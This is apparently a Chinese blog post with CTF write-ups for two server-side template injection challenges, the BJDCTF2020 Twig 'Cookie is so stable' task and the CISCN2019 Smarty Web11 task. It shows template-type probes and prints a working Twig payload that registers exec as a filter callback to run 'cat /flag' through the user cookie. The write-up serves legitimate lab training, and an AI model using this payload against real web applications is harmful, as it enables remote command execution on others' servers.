再遇SSTI

题目一

来自:

[BJDCTF2020]Cookie is so stable

这道题如果吃透的话,这类SSTI注入应该都可以触类旁通了。

打开页面,左上角flag和hint:

先打开flag,就看到这个查询框:

很难不让人想到SQL注入,但是试了半天也没用。

既然给了hint,那就去看看。

页面没有有用的东西。

但是源码内有个提示:

嗯?

那就bp抓包看看。

先抓hint的包,这个PHPSESSION没啥用好像。

 

那就直接再去抓flag页面的包。

输入admin查询看看:

刷新页面再看:

直觉是这个user这里可以进行SSTI注入。

 

参考了一下其他师傅的文章:

https://shawroot.hatenablog.com/entry/2020/01/29/BJDCTF2020/BUUCTF-WEB%3ACookie_is_so_stable%EF%BC%88Twig%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%EF%BC%89

 

一篇文章带你理解漏洞之SSTI漏洞(神中神!!)

 

 

看之前先记住一句话:注入就是格式化字符串漏洞的一种体现。

SSTI主要为python的一些框架jinja2 mako tornado django。
模板注入测试顺序--是时候祭出这张图了:

这里我们尝试{{7*7}}, 返回49

(尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinja2模板,尝试后便可发现本题是Twig模板。

尝试a{*comment*}b也可以在其他SSTI注入中测试是哪个类型)

 

我们来看看原理:

来自博客:https://blog.csdn.net/RABCDXB/article/details/115442449

//这个函数中调用了一个 call_user_function 方法
public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了

原始payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}
 
{{_self.env.getFilter("id")}}

所以payload只需要将"cat /flag" 替换"id" 即可。

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

直接在bp上对这个刷新过页面的user行注入:

获得flag。

 

题目二

来自:

[CISCN2019 华东南赛区]Web11

https://www.bilibili.com/read/cv18878567/

直接就看看这个wp吧,是关于smarty模块的SSTI注入。

下面是我自己抓包直接XFF然后RCE的,但是注意这里不用分号,不然会报错,直接写就行。

 

posted @ 2023-09-16 20:08  Eddie_Murphy  阅读(12)  评论(0编辑  收藏  举报